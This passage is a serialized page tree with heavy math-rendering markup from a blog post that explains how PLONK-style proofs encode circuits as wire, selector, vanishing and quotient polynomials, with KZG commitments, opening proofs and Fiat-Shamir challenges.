polynomials",{"type":30,"value":14096},{"type":25,"tag":264,"props":155234,"children":155236},{"className":155235},[267,268],[155237],{"type":25,"tag":271,"props":155238,"children":155240},{"className":155239},[274],[155241],{"type":25,"tag":271,"props":155242,"children":155244},{"className":155243,"ariaHidden":280},[279],[155245],{"type":25,"tag":271,"props":155246,"children":155248},{"className":155247},[285],[155249,155253,155310,155315,155320],{"type":25,"tag":271,"props":155250,"children":155252},{"className":155251,"style":375},[290],[],{"type":25,"tag":271,"props":155254,"children":155256},{"className":155255},[296],[155257,155262],{"type":25,"tag":271,"props":155258,"children":155260},{"className":155259,"style":4500},[296,297],[155261],{"type":30,"value":4503},{"type":25,"tag":271,"props":155263,"children":155265},{"className":155264},[982],[155266],{"type":25,"tag":271,"props":155267,"children":155269},{"className":155268},[987,1100],[155270,155299],{"type":25,"tag":271,"props":155271,"children":155273},{"className":155272},[992],[155274,155294],{"type":25,"tag":271,"props":155275,"children":155277},{"className":155276,"style":155042},[997],[155278],{"type":25,"tag":271,"props":155279,"children":155280},{"style":108517},[155281,155285],{"type":25,"tag":271,"props":155282,"children":155284},{"className":155283,"style":1008},[1007],[],{"type":25,"tag":271,"props":155286,"children":155288},{"className":155287},[1013,1014,1015,1016],[155289],{"type":25,"tag":271,"props":155290,"children":155292},{"className":155291},[296,297,1016],[155293],{"type":30,"value":10316},{"type":25,"tag":271,"props":155295,"children":155297},{"className":155296},[1177],[155298],{"type":30,"value":1180},{"type":25,"tag":271,"props":155300,"children":155302},{"className":155301},[992],[155303],{"type":25,"tag":271,"props":155304,"children":155306},{"className":155305,"style":1619},[997],[155307],{"type":25,"tag":271,"props":155308,"children":155309},{},[],{"type":25,"tag":271,"props":155311,"children":155313},{"className":155312},[391],[155314],{"type":30,"value":394},{"type":25,"tag":271,"props":155316,"children":155318},{"className":155317},[296,297],[155319],{"type":30,"value":1136},{"type":25,"tag":271,"props":155321,"children":155323},{"className":155322},[437],[155324],{"type":30,"value":440},{"type":30,"value":44},{"type":25,"tag":264,"props":155327,"children":155329},{"className":155328},[267,268],[155330],{"type":25,"tag":271,"props":155331,"children":155333},{"className":155332},[274],[155334],{"type":25,"tag":271,"props":155335,"children":155337},{"className":155336,"ariaHidden":280},[279],[155338],{"type":25,"tag":271,"props":155339,"children":155341},{"className":155340},[285],[155342,155346,155403,155408,155413],{"type":25,"tag":271,"props":155343,"children":155345},{"className":155344,"style":375},[290],[],{"type":25,"tag":271,"props":155347,"children":155349},{"className":155348},[296],[155350,155355],{"type":25,"tag":271,"props":155351,"children":155353},{"className":155352,"style":4500},[296,297],[155354],{"type":30,"value":4503},{"type":25,"tag":271,"props":155356,"children":155358},{"className":155357},[982],[155359],{"type":25,"tag":271,"props":155360,"children":155362},{"className":155361},[987,1100],[155363,155392],{"type":25,"tag":271,"props":155364,"children":155366},{"className":155365},[992],[155367,155387],{"type":25,"tag":271,"props":155368,"children":155370},{"className":155369,"style":155042},[997],[155371],{"type":25,"tag":271,"props":155372,"children":155373},{"style":108517},[155374,155378],{"type":25,"tag":271,"props":155375,"children":155377},{"className":155376,"style":1008},[1007],[],{"type":25,"tag":271,"props":155379,"children":155381},{"className":155380},[1013,1014,1015,1016],[155382],{"type":25,"tag":271,"props":155383,"children":155385},{"className":155384,"style":15175},[296,297,1016],[155386],{"type":30,"value":15178},{"type":25,"tag":271,"props":155388,"children":155390},{"className":155389},[1177],[155391],{"type":30,"value":1180},{"type":25,"tag":271,"props":155393,"children":155395},{"className":155394},[992],[155396],{"type":25,"tag":271,"props":155397,"children":155399},{"className":155398,"style":1619},[997],[155400],{"type":25,"tag":271,"props":155401,"children":155402},{},[],{"type":25,"tag":271,"props":155404,"children":155406},{"className":155405},[391],[155407],{"type":30,"value":394},{"type":25,"tag":271,"props":155409,"children":155411},{"className":155410},[296,297],[155412],{"type":30,"value":1136},{"type":25,"tag":271,"props":155414,"children":155416},{"className":155415},[437],[155417],{"type":30,"value":440},{"type":30,"value":44},{"type":25,"tag":264,"props":155420,"children":155422},{"className":155421},[267,268],[155423],{"type":25,"tag":271,"props":155424,"children":155426},{"className":155425},[274],[155427],{"type":25,"tag":271,"props":155428,"children":155430},{"className":155429,"ariaHidden":280},[279],[155431],{"type":25,"tag":271,"props":155432,"children":155434},{"className":155433},[285],[155435,155439,155496,155501,155506],{"type":25,"tag":271,"props":155436,"children":155438},{"className":155437,"style":375},[290],[],{"type":25,"tag":271,"props":155440,"children":155442},{"className":155441},[296],[155443,155448],{"type":25,"tag":271,"props":155444,"children":155446},{"className":155445,"style":4500},[296,297],[155447],{"type":30,"value":4503},{"type":25,"tag":271,"props":155449,"children":155451},{"className":155450},[982],[155452],{"type":25,"tag":271,"props":155453,"children":155455},{"className":155454},[987,1100],[155456,155485],{"type":25,"tag":271,"props":155457,"children":155459},{"className":155458},[992],[155460,155480],{"type":25,"tag":271,"props":155461,"children":155463},{"className":155462,"style":155042},[997],[155464],{"type":25,"tag":271,"props":155465,"children":155466},{"style":108517},[155467,155471],{"type":25,"tag":271,"props":155468,"children":155470},{"className":155469,"style":1008},[1007],[],{"type":25,"tag":271,"props":155472,"children":155474},{"className":155473},[1013,1014,1015,1016],[155475],{"type":25,"tag":271,"props":155476,"children":155478},{"className":155477,"style":2296},[296,297,1016],[155479],{"type":30,"value":7663},{"type":25,"tag":271,"props":155481,"children":155483},{"className":155482},[1177],[155484],{"type":30,"value":1180},{"type":25,"tag":271,"props":155486,"children":155488},{"className":155487},[992],[155489],{"type":25,"tag":271,"props":155490,"children":155492},{"className":155491,"style":1619},[997],[155493],{"type":25,"tag":271,"props":155494,"children":155495},{},[],{"type":25,"tag":271,"props":155497,"children":155499},{"className":155498},[391],[155500],{"type":30,"value":394},{"type":25,"tag":271,"props":155502,"children":155504},{"className":155503},[296,297],[155505],{"type":30,"value":1136},{"type":25,"tag":271,"props":155507,"children":155509},{"className":155508},[437],[155510],{"type":30,"value":440},{"type":30,"value":155512}," and the selectors become ",{"type":25,"tag":10281,"props":155514,"children":155515},{},[155516],{"type":30,"value":155517},"selector polynomials",{"type":30,"value":14096},{"type":25,"tag":264,"props":155520,"children":155522},{"className":155521},[267,268],[155523],{"type":25,"tag":271,"props":155524,"children":155526},{"className":155525},[274],[155527],{"type":25,"tag":271,"props":155528,"children":155530},{"className":155529,"ariaHidden":280},[279],[155531],{"type":25,"tag":271,"props":155532,"children":155534},{"className":155533},[285],[155535,155539,155596,155601,155606],{"type":25,"tag":271,"props":155536,"children":155538},{"className":155537,"style":375},[290],[],{"type":25,"tag":271,"props":155540,"children":155542},{"className":155541},[296],[155543,155548],{"type":25,"tag":271,"props":155544,"children":155546},{"className":155545},[296,297],[155547],{"type":30,"value":89915},{"type":25,"tag":271,"props":155549,"children":155551},{"className":155550},[982],[155552],{"type":25,"tag":271,"props":155553,"children":155555},{"className":155554},[987,1100],[155556,155585],{"type":25,"tag":271,"props":155557,"children":155559},{"className":155558},[992],[155560,155580],{"type":25,"tag":271,"props":155561,"children":155563},{"className":155562,"style":155042},[997],[155564],{"type":25,"tag":271,"props":155565,"children":155566},{"style":1592},[155567,155571],{"type":25,"tag":271,"props":155568,"children":155570},{"className":155569,"style":1008},[1007],[],{"type":25,"tag":271,"props":155572,"children":155574},{"className":155573},[1013,1014,1015,1016],[155575],{"type":25,"tag":271,"props":155576,"children":155578},{"className":155577,"style":108152},[296,297,1016],[155579],{"type":30,"value":108155},{"type":25,"tag":271,"props":155581,"children":155583},{"className":155582},[1177],[155584],{"type":30,"value":1180},{"type":25,"tag":271,"props":155586,"children":155588},{"className":155587},[992],[155589],{"type":25,"tag":271,"props":155590,"children":155592},{"className":155591,"style":1619},[997],[155593],{"type":25,"tag":271,"props":155594,"children":155595},{},[],{"type":25,"tag":271,"props":155597,"children":155599},{"className":155598},[391],[155600],{"type":30,"value":394},{"type":25,"tag":271,"props":155602,"children":155604},{"className":155603},[296,297],[155605],{"type":30,"value":1136},{"type":25,"tag":271,"props":155607,"children":155609},{"className":155608},[437],[155610],{"type":30,"value":440},{"type":30,"value":44},{"type":25,"tag":264,"props":155613,"children":155615},{"className":155614},[267,268],[155616],{"type":25,"tag":271,"props":155617,"children":155619},{"className":155618},[274],[155620],{"type":25,"tag":271,"props":155621,"children":155623},{"className":155622,"ariaHidden":280},[279],[155624],{"type":25,"tag":271,"props":155625,"children":155627},{"className":155626},[285],[155628,155632,155689,155694,155699],{"type":25,"tag":271,"props":155629,"children":155631},{"className":155630,"style":375},[290],[],{"type":25,"tag":271,"props":155633,"children":155635},{"className":155634},[296],[155636,155641],{"type":25,"tag":271,"props":155637,"children":155639},{"className":155638},[296,297],[155640],{"type":30,"value":89915},{"type":25,"tag":271,"props":155642,"children":155644},{"className":155643},[982],[155645],{"type":25,"tag":271,"props":155646,"children":155648},{"className":155647},[987,1100],[155649,155678],{"type":25,"tag":271,"props":155650,"children":155652},{"className":155651},[992],[155653,155673],{"type":25,"tag":271,"props":155654,"children":155656},{"className":155655,"style":155042},[997],[155657],{"type":25,"tag":271,"props":155658,"children":155659},{"style":1592},[155660,155664],{"type":25,"tag":271,"props":155661,"children":155663},{"className":155662,"style":1008},[1007],[],{"type":25,"tag":271,"props":155665,"children":155667},{"className":155666},[1013,1014,1015,1016],[155668],{"type":25,"tag":271,"props":155669,"children":155671},{"className":155670},[296,297,1016],[155672],{"type":30,"value":10316},{"type":25,"tag":271,"props":155674,"children":155676},{"className":155675},[1177],[155677],{"type":30,"value":1180},{"type":25,"tag":271,"props":155679,"children":155681},{"className":155680},[992],[155682],{"type":25,"tag":271,"props":155683,"children":155685},{"className":155684,"style":1619},[997],[155686],{"type":25,"tag":271,"props":155687,"children":155688},{},[],{"type":25,"tag":271,"props":155690,"children":155692},{"className":155691},[391],[155693],{"type":30,"value":394},{"type":25,"tag":271,"props":155695,"children":155697},{"className":155696},[296,297],[155698],{"type":30,"value":1136},{"type":25,"tag":271,"props":155700,"children":155702},{"className":155701},[437],[155703],{"type":30,"value":440},{"type":30,"value":155705},", etc., all interpolated over a domain ",{"type":25,"tag":264,"props":155707,"children":155709},{"className":155708},[267,268],[155710],{"type":25,"tag":271,"props":155711,"children":155713},{"className":155712},[274],[155714],{"type":25,"tag":271,"props":155715,"children":155717},{"className":155716,"ariaHidden":280},[279],[155718],{"type":25,"tag":271,"props":155719,"children":155721},{"className":155720},[285],[155722,155726],{"type":25,"tag":271,"props":155723,"children":155725},{"className":155724,"style":291},[290],[],{"type":25,"tag":271,"props":155727,"children":155729},{"className":155728,"style":1052},[296,297],[155730],{"type":30,"value":1055},{"type":30,"value":155732}," of ",{"type":25,"tag":264,"props":155734,"children":155736},{"className":155735},[267,268],[155737],{"type":25,"tag":271,"props":155738,"children":155740},{"className":155739},[274],[155741],{"type":25,"tag":271,"props":155742,"children":155744},{"className":155743,"ariaHidden":280},[279],[155745],{"type":25,"tag":271,"props":155746,"children":155748},{"className":155747},[285],[155749,155753],{"type":25,"tag":271,"props":155750,"children":155752},{"className":155751,"style":3164},[290],[],{"type":25,"tag":271,"props":155754,"children":155756},{"className":155755},[296,297],[155757],{"type":30,"value":1023},{"type":30,"value":155759},"-th roots of unity. Evaluating ",{"type":25,"tag":264,"props":155761,"children":155763},{"className":155762},[267,268],[155764],{"type":25,"tag":271,"props":155765,"children":155767},{"className":155766},[274],[155768],{"type":25,"tag":271,"props":155769,"children":155771},{"className":155770,"ariaHidden":280},[279],[155772],{"type":25,"tag":271,"props":155773,"children":155775},{"className":155774},[285],[155776,155780,155837,155842,155847],{"type":25,"tag":271,"props":155777,"children":155779},{"className":155778,"style":375},[290],[],{"type":25,"tag":271,"props":155781,"children":155783},{"className":155782},[296],[155784,155789],{"type":25,"tag":271,"props":155785,"children":155787},{"className":155786,"style":4500},[296,297],[155788],{"type":30,"value":4503},{"type":25,"tag":271,"props":155790,"children":155792},{"className":155791},[982],[155793],{"type":25,"tag":271,"props":155794,"children":155796},{"className":155795},[987,1100],[155797,155826],{"type":25,"tag":271,"props":155798,"children":155800},{"className":155799},[992],[155801,155821],{"type":25,"tag":271,"props":155802,"children":155804},{"className":155803,"style":155042},[997],[155805],{"type":25,"tag":271,"props":155806,"children":155807},{"style":108517},[155808,155812],{"type":25,"tag":271,"props":155809,"children":155811},{"className":155810,"style":1008},[1007],[],{"type":25,"tag":271,"props":155813,"children":155815},{"className":155814},[1013,1014,1015,1016],[155816],{"type":25,"tag":271,"props":155817,"children":155819},{"className":155818},[296,297,1016],[155820],{"type":30,"value":10316},{"type":25,"tag":271,"props":155822,"children":155824},{"className":155823},[1177],[155825],{"type":30,"value":1180},{"type":25,"tag":271,"props":155827,"children":155829},{"className":155828},[992],[155830],{"type":25,"tag":271,"props":155831,"children":155833},{"className":155832,"style":1619},[997],[155834],{"type":25,"tag":271,"props":155835,"children":155836},{},[],{"type":25,"tag":271,"props":155838,"children":155840},{"className":155839},[391],[155841],{"type":30,"value":394},{"type":25,"tag":271,"props":155843,"children":155845},{"className":155844},[296,297],[155846],{"type":30,"value":1136},{"type":25,"tag":271,"props":155848,"children":155850},{"className":155849},[437],[155851],{"type":30,"value":440},{"type":30,"value":155853}," at the ",{"type":25,"tag":264,"props":155855,"children":155857},{"className":155856},[267,268],[155858],{"type":25,"tag":271,"props":155859,"children":155861},{"className":155860},[274],[155862],{"type":25,"tag":271,"props":155863,"children":155865},{"className":155864,"ariaHidden":280},[279],[155866],{"type":25,"tag":271,"props":155867,"children":155869},{"className":155868},[285],[155870,155874],{"type":25,"tag":271,"props":155871,"children":155873},{"className":155872,"style":154738},[290],[],{"type":25,"tag":271,"props":155875,"children":155877},{"className":155876},[296,297],[155878],{"type":30,"value":1937},{"type":30,"value":155880},"-th root recovers the left wire value at row ",{"type":25,"tag":264,"props":155882,"children":155884},{"className":155883},[267,268],[155885],{"type":25,"tag":271,"props":155886,"children":155888},{"className":155887},[274],[155889],{"type":25,"tag":271,"props":155890,"children":155892},{"className":155891,"ariaHidden":280},[279],[155893],{"type":25,"tag":271,"props":155894,"children":155896},{"className":155895},[285],[155897,155901],{"type":25,"tag":271,"props":155898,"children":155900},{"className":155899,"style":154738},[290],[],{"type":25,"tag":271,"props":155902,"children":155904},{"className":155903},[296,297],[155905],{"type":30,"value":1937},{"type":30,"value":1860},{"type":25,"tag":155908,"props":155909,"children":155910},"polynomial-interpolation-panel",{},[],{"type":25,"tag":26,"props":155912,"children":155913},{},[155914,155916,155956,155958,156024,156026,156156,156158,156198,156200,156240,156242,156282,156283,156405],{"type":30,"value":155915},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":25,"tag":264,"props":155917,"children":155919},{"className":155918},[267,268],[155920],{"type":25,"tag":271,"props":155921,"children":155923},{"className":155922},[274],[155924],{"type":25,"tag":271,"props":155925,"children":155927},{"className":155926,"ariaHidden":280},[279],[155928],{"type":25,"tag":271,"props":155929,"children":155931},{"className":155930},[285],[155932,155936,155941,155946,155951],{"type":25,"tag":271,"props":155933,"children":155935},{"className":155934,"style":375},[290],[],{"type":25,"tag":271,"props":155937,"children":155939},{"className":155938,"style":298},[296,297],[155940],{"type":30,"value":14154},{"type":25,"tag":271,"props":155942,"children":155944},{"className":155943},[391],[155945],{"type":30,"value":394},{"type":25,"tag":271,"props":155947,"children":155949},{"className":155948},[296,297],[155950],{"type":30,"value":1136},{"type":25,"tag":271,"props":155952,"children":155954},{"className":155953},[437],[155955],{"type":30,"value":440},{"type":30,"value":155957}," that combines selectors and witnesses. If the prover was honest, ",{"type":25,"tag":264,"props":155959,"children":155961},{"className":155960},[267,268],[155962],{"type":25,"tag":271,"props":155963,"children":155965},{"className":155964},[274],[155966],{"type":25,"tag":271,"props":155967,"children":155969},{"className":155968,"ariaHidden":280},[279],[155970,156011],{"type":25,"tag":271,"props":155971,"children":155973},{"className":155972},[285],[155974,155978,155983,155988,155993,155998,156002,156007],{"type":25,"tag":271,"props":155975,"children":155977},{"className":155976,"style":375},[290],[],{"type":25,"tag":271,"props":155979,"children":155981},{"className":155980,"style":298},[296,297],[155982],{"type":30,"value":14154},{"type":25,"tag":271,"props":155984,"children":155986},{"className":155985},[391],[155987],{"type":30,"value":394},{"type":25,"tag":271,"props":155989,"children":155991},{"className":155990},[296,297],[155992],{"type":30,"value":1136},{"type":25,"tag":271,"props":155994,"children":155996},{"className":155995},[437],[155997],{"type":30,"value":440},{"type":25,"tag":271,"props":155999,"children":156001},{"className":156000,"style":338},[337],[],{"type":25,"tag":271,"props":156003,"children":156005},{"className":156004},[356],[156006],{"type":30,"value":1065},{"type":25,"tag":271,"props":156008,"children":156010},{"className":156009,"style":338},[337],[],{"type":25,"tag":271,"props":156012,"children":156014},{"className":156013},[285],[156015,156019],{"type":25,"tag":271,"props":156016,"children":156018},{"className":156017,"style":3128},[290],[],{"type":25,"tag":271,"props":156020,"children":156022},{"className":156021},[296],[156023],{"type":30,"value":953},{"type":30,"value":156025}," at every row index in the domain. The vanishing polynomial ",{"type":25,"tag":264,"props":156027,"children":156029},{"className":156028},[267,268],[156030],{"type":25,"tag":271,"props":156031,"children":156033},{"className":156032},[274],[156034],{"type":25,"tag":271,"props":156035,"children":156037},{"className":156036,"ariaHidden":280},[279],[156038,156080,156143],{"type":25,"tag":271,"props":156039,"children":156041},{"className":156040},[285],[156042,156046,156052,156057,156062,156067,156071,156076],{"type":25,"tag":271,"props":156043,"children":156045},{"className":156044,"style":375},[290],[],{"type":25,"tag":271,"props":156047,"children":156049},{"className":156048,"style":8574},[296,297],[156050],{"type":30,"value":156051},"Z",{"type":25,"tag":271,"props":156053,"children":156055},{"className":156054},[391],[156056],{"type":30,"value":394},{"type":25,"tag":271,"props":156058,"children":156060},{"className":156059},[296,297],[156061],{"type":30,"value":1136},{"type":25,"tag":271,"props":156063,"children":156065},{"className":156064},[437],[156066],{"type":30,"value":440},{"type":25,"tag":271,"props":156068,"children":156070},{"className":156069,"style":338},[337],[],{"type":25,"tag":271,"props":156072,"children":156074},{"className":156073},[356],[156075],{"type":30,"value":1065},{"type":25,"tag":271,"props":156077,"children":156079},{"className":156078,"style":338},[337],[],{"type":25,"tag":271,"props":156081,"children":156083},{"className":156082},[285],[156084,156089,156130,156134,156139],{"type":25,"tag":271,"props":156085,"children":156088},{"className":156086,"style":156087},[290],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":25,"tag":271,"props":156090,"children":156092},{"className":156091},[296],[156093,156098],{"type":25,"tag":271,"props":156094,"children":156096},{"className":156095},[296,297],[156097],{"type":30,"value":1136},{"type":25,"tag":271,"props":156099,"children":156101},{"className":156100},[982],[156102],{"type":25,"tag":271,"props":156103,"children":156105},{"className":156104},[987],[156106],{"type":25,"tag":271,"props":156107,"children":156109},{"className":156108},[992],[156110],{"type":25,"tag":271,"props":156111,"children":156113},{"className":156112,"style":998},[997],[156114],{"type":25,"tag":271,"props":156115,"children":156116},{"style":1002},[156117,156121],{"type":25,"tag":271,"props":156118,"children":156120},{"className":156119,"style":1008},[1007],[],{"type":25,"tag":271,"props":156122,"children":156124},{"className":156123},[1013,1014,1015,1016],[156125],{"type":25,"tag":271,"props":156126,"children":156128},{"className":156127},[296,297,1016],[156129],{"type":30,"value":1023},{"type":25,"tag":271,"props":156131,"children":156133},{"className":156132,"style":2066},[337],[],{"type":25,"tag":271,"props":156135,"children":156137},{"className":156136},[2071],[156138],{"type":30,"value":2774},{"type":25,"tag":271,"props":156140,"children":156142},{"className":156141,"style":2066},[337],[],{"type":25,"tag":271,"props":156144,"children":156146},{"className":156145},[285],[156147,156151],{"type":25,"tag":271,"props":156148,"children":156150},{"className":156149,"style":3128},[290],[],{"type":25,"tag":271,"props":156152,"children":156154},{"className":156153},[296],[156155],{"type":30,"value":968},{"type":30,"value":156157}," is zero on exactly those points, so if all constraints hold then ",{"type":25,"tag":264,"props":156159,"children":156161},{"className":156160},[267,268],[156162],{"type":25,"tag":271,"props":156163,"children":156165},{"className":156164},[274],[156166],{"type":25,"tag":271,"props":156167,"children":156169},{"className":156168,"ariaHidden":280},[279],[156170],{"type":25,"tag":271,"props":156171,"children":156173},{"className":156172},[285],[156174,156178,156183,156188,156193],{"type":25,"tag":271,"props":156175,"children":156177},{"className":156176,"style":375},[290],[],{"type":25,"tag":271,"props":156179,"children":156181},{"className":156180,"style":8574},[296,297],[156182],{"type":30,"value":156051},{"type":25,"tag":271,"props":156184,"children":156186},{"className":156185},[391],[156187],{"type":30,"value":394},{"type":25,"tag":271,"props":156189,"children":156191},{"className":156190},[296,297],[156192],{"type":30,"value":1136},{"type":25,"tag":271,"props":156194,"children":156196},{"className":156195},[437],[156197],{"type":30,"value":440},{"type":30,"value":156199}," divides ",{"type":25,"tag":264,"props":156201,"children":156203},{"className":156202},[267,268],[156204],{"type":25,"tag":271,"props":156205,"children":156207},{"className":156206},[274],[156208],{"type":25,"tag":271,"props":156209,"children":156211},{"className":156210,"ariaHidden":280},[279],[156212],{"type":25,"tag":271,"props":156213,"children":156215},{"className":156214},[285],[156216,156220,156225,156230,156235],{"type":25,"tag":271,"props":156217,"children":156219},{"className":156218,"style":375},[290],[],{"type":25,"tag":271,"props":156221,"children":156223},{"className":156222,"style":298},[296,297],[156224],{"type":30,"value":14154},{"type":25,"tag":271,"props":156226,"children":156228},{"className":156227},[391],[156229],{"type":30,"value":394},{"type":25,"tag":271,"props":156231,"children":156233},{"className":156232},[296,297],[156234],{"type":30,"value":1136},{"type":25,"tag":271,"props":156236,"children":156238},{"className":156237},[437],[156239],{"type":30,"value":440},{"type":30,"value":156241},", yielding a quotient polynomial ",{"type":25,"tag":264,"props":156243,"children":156245},{"className":156244},[267,268],[156246],{"type":25,"tag":271,"props":156247,"children":156249},{"className":156248},[274],[156250],{"type":25,"tag":271,"props":156251,"children":156253},{"className":156252,"ariaHidden":280},[279],[156254],{"type":25,"tag":271,"props":156255,"children":156257},{"className":156256},[285],[156258,156262,156267,156272,156277],{"type":25,"tag":271,"props":156259,"children":156261},{"className":156260,"style":375},[290],[],{"type":25,"tag":271,"props":156263,"children":156265},{"className":156264,"style":298},[296,297],[156266],{"type":30,"value":301},{"type":25,"tag":271,"props":156268,"children":156270},{"className":156269},[391],[156271],{"type":30,"value":394},{"type":25,"tag":271,"props":156273,"children":156275},{"className":156274},[296,297],[156276],{"type":30,"value":1136},{"type":25,"tag":271,"props":156278,"children":156280},{"className":156279},[437],[156281],{"type":30,"value":440},{"type":30,"value":34624},{"type":25,"tag":264,"props":156284,"children":156286},{"className":156285},[267,268],[156287],{"type":25,"tag":271,"props":156288,"children":156290},{"className":156289},[274],[156291],{"type":25,"tag":271,"props":156292,"children":156294},{"className":156293,"ariaHidden":280},[279],[156295,156336,156377],{"type":25,"tag":271,"props":156296,"children":156298},{"className":156297},[285],[156299,156303,156308,156313,156318,156323,156327,156332],{"type":25,"tag":271,"props":156300,"children":156302},{"className":156301,"style":375},[290],[],{"type":25,"tag":271,"props":156304,"children":156306},{"className":156305,"style":298},[296,297],[156307],{"type":30,"value":14154},{"type":25,"tag":271,"props":156309,"children":156311},{"className":156310},[391],[156312],{"type":30,"value":394},{"type":25,"tag":271,"props":156314,"children":156316},{"className":156315},[296,297],[156317],{"type":30,"value":1136},{"type":25,"tag":271,"props":156319,"children":156321},{"className":156320},[437],[156322],{"type":30,"value":440},{"type":25,"tag":271,"props":156324,"children":156326},{"className":156325,"style":338},[337],[],{"type":25,"tag":271,"props":156328,"children":156330},{"className":156329},[356],[156331],{"type":30,"value":1065},{"type":25,"tag":271,"props":156333,"children":156335},{"className":156334,"style":338},[337],[],{"type":25,"tag":271,"props":156337,"children":156339},{"className":156338},[285],[156340,156344,156349,156354,156359,156364,156368,156373],{"type":25,"tag":271,"props":156341,"children":156343},{"className":156342,"style":375},[290],[],{"type":25,"tag":271,"props":156345,"children":156347},{"className":156346,"style":298},[296,297],[156348],{"type":30,"value":301},{"type":25,"tag":271,"props":156350,"children":156352},{"className":156351},[391],[156353],{"type":30,"value":394},{"type":25,"tag":271,"props":156355,"children":156357},{"className":156356},[296,297],[156358],{"type":30,"value":1136},{"type":25,"tag":271,"props":156360,"children":156362},{"className":156361},[437],[156363],{"type":30,"value":440},{"type":25,"tag":271,"props":156365,"children":156367},{"className":156366,"style":2066},[337],[],{"type":25,"tag":271,"props":156369,"children":156371},{"className":156370},[2071],[156372],{"type":30,"value":3585},{"type":25,"tag":271,"props":156374,"children":156376},{"className":156375,"style":2066},[337],[],{"type":25,"tag":271,"props":156378,"children":156380},{"className":156379},[285],[156381,156385,156390,156395,156400],{"type":25,"tag":271,"props":156382,"children":156384},{"className":156383,"style":375},[290],[],{"type":25,"tag":271,"props":156386,"children":156388},{"className":156387,"style":8574},[296,297],[156389],{"type":30,"value":156051},{"type":25,"tag":271,"props":156391,"children":156393},{"className":156392},[391],[156394],{"type":30,"value":394},{"type":25,"tag":271,"props":156396,"children":156398},{"className":156397},[296,297],[156399],{"type":30,"value":1136},{"type":25,"tag":271,"props":156401,"children":156403},{"className":156402},[437],[156404],{"type":30,"value":440},{"type":30,"value":1860},{"type":25,"tag":26,"props":156407,"children":156408},{},[156409],{"type":25,"tag":698,"props":156410,"children":156413},{"alt":156411,"src":156412},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":25,"tag":247,"props":156415,"children":156417},{"id":156416},"polynomial-commitments-and-opening-proofs",[156418],{"type":30,"value":156419},"Polynomial commitments and opening proofs",{"type":25,"tag":26,"props":156421,"children":156422},{},[156423,156425,156430,156432,156437],{"type":30,"value":156424},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":25,"tag":10281,"props":156426,"children":156427},{},[156428],{"type":30,"value":156429},"commitments",{"type":30,"value":156431},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":25,"tag":10281,"props":156433,"children":156434},{},[156435],{"type":30,"value":156436},"opening proof",{"type":30,"value":156438}," that the claimed value is consistent with the earlier commitment.",{"type":25,"tag":26,"props":156440,"children":156441},{},[156442],{"type":30,"value":156443},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":25,"tag":247,"props":156445,"children":156447},{"id":156446},"reducing-to-a-single-random-point",[156448],{"type":30,"value":156449},"Reducing to a single random point",{"type":25,"tag":26,"props":156451,"children":156452},{},[156453,156455,156495,156497,156522,156524,156646,156648,156673],{"type":30,"value":156454},"After the prover commits to all polynomials, including ",{"type":25,"tag":264,"props":156456,"children":156458},{"className":156457},[267,268],[156459],{"type":25,"tag":271,"props":156460,"children":156462},{"className":156461},[274],[156463],{"type":25,"tag":271,"props":156464,"children":156466},{"className":156465,"ariaHidden":280},[279],[156467],{"type":25,"tag":271,"props":156468,"children":156470},{"className":156469},[285],[156471,156475,156480,156485,156490],{"type":25,"tag":271,"props":156472,"children":156474},{"className":156473,"style":375},[290],[],{"type":25,"tag":271,"props":156476,"children":156478},{"className":156477,"style":298},[296,297],[156479],{"type":30,"value":301},{"type":25,"tag":271,"props":156481,"children":156483},{"className":156482},[391],[156484],{"type":30,"value":394},{"type":25,"tag":271,"props":156486,"children":156488},{"className":156487},[296,297],[156489],{"type":30,"value":1136},{"type":25,"tag":271,"props":156491,"children":156493},{"className":156492},[437],[156494],{"type":30,"value":440},{"type":30,"value":156496},", the verifier picks a random challenge point ",{"type":25,"tag":264,"props":156498,"children":156500},{"className":156499},[267,268],[156501],{"type":25,"tag":271,"props":156502,"children":156504},{"className":156503},[274],[156505],{"type":25,"tag":271,"props":156506,"children":156508},{"className":156507,"ariaHidden":280},[279],[156509],{"type":25,"tag":271,"props":156510,"children":156512},{"className":156511},[285],[156513,156517],{"type":25,"tag":271,"props":156514,"children":156516},{"className":156515,"style":3164},[290],[],{"type":25,"tag":271,"props":156518,"children":156520},{"className":156519,"style":5889},[296,297],[156521],{"type":30,"value":5892},{"type":30,"value":156523}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":25,"tag":264,"props":156525,"children":156527},{"className":156526},[267,268],[156528],{"type":25,"tag":271,"props":156529,"children":156531},{"className":156530},[274],[156532],{"type":25,"tag":271,"props":156533,"children":156535},{"className":156534,"ariaHidden":280},[279],[156536,156577,156618],{"type":25,"tag":271,"props":156537,"children":156539},{"className":156538},[285],[156540,156544,156549,156554,156559,156564,156568,156573],{"type":25,"tag":271,"props":156541,"children":156543},{"className":156542,"style":375},[290],[],{"type":25,"tag":271,"props":156545,"children":156547},{"className":156546,"style":298},[296,297],[156548],{"type":30,"value":14154},{"type":25,"tag":271,"props":156550,"children":156552},{"className":156551},[391],[156553],{"type":30,"value":394},{"type":25,"tag":271,"props":156555,"children":156557},{"className":156556,"style":5889},[296,297],[156558],{"type":30,"value":5892},{"type":25,"tag":271,"props":156560,"children":156562},{"className":156561},[437],[156563],{"type":30,"value":440},{"type":25,"tag":271,"props":156565,"children":156567},{"className":156566,"style":338},[337],[],{"type":25,"tag":271,"props":156569,"children":156571},{"className":156570},[356],[156572],{"type":30,"value":1065},{"type":25,"tag":271,"props":156574,"children":156576},{"className":156575,"style":338},[337],[],{"type":25,"tag":271,"props":156578,"children":156580},{"className":156579},[285],[156581,156585,156590,156595,156600,156605,156609,156614],{"type":25,"tag":271,"props":156582,"children":156584},{"className":156583,"style":375},[290],[],{"type":25,"tag":271,"props":156586,"children":156588},{"className":156587,"style":298},[296,297],[156589],{"type":30,"value":301},{"type":25,"tag":271,"props":156591,"children":156593},{"className":156592},[391],[156594],{"type":30,"value":394},{"type":25,"tag":271,"props":156596,"children":156598},{"className":156597,"style":5889},[296,297],[156599],{"type":30,"value":5892},{"type":25,"tag":271,"props":156601,"children":156603},{"className":156602},[437],[156604],{"type":30,"value":440},{"type":25,"tag":271,"props":156606,"chil